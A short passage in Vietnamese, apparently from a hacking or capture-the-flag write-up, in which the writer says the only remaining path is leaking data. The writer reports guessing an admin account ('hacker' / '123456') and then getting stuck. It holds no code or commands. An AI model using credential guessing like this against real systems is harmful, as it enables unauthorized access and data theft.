chỉ còn con đường duy nhất là leak data thôi , sau khi nghich một hồi thì em tìm dc tài khoản admin gốc là <pre>username:hacker pass:123456</pre> ( cái này là em mò lung tung thui :))) nhưng cũng ko giải quyết dc cái gì huhu đến đây chắc là em tịt ngòi luôn rồi:))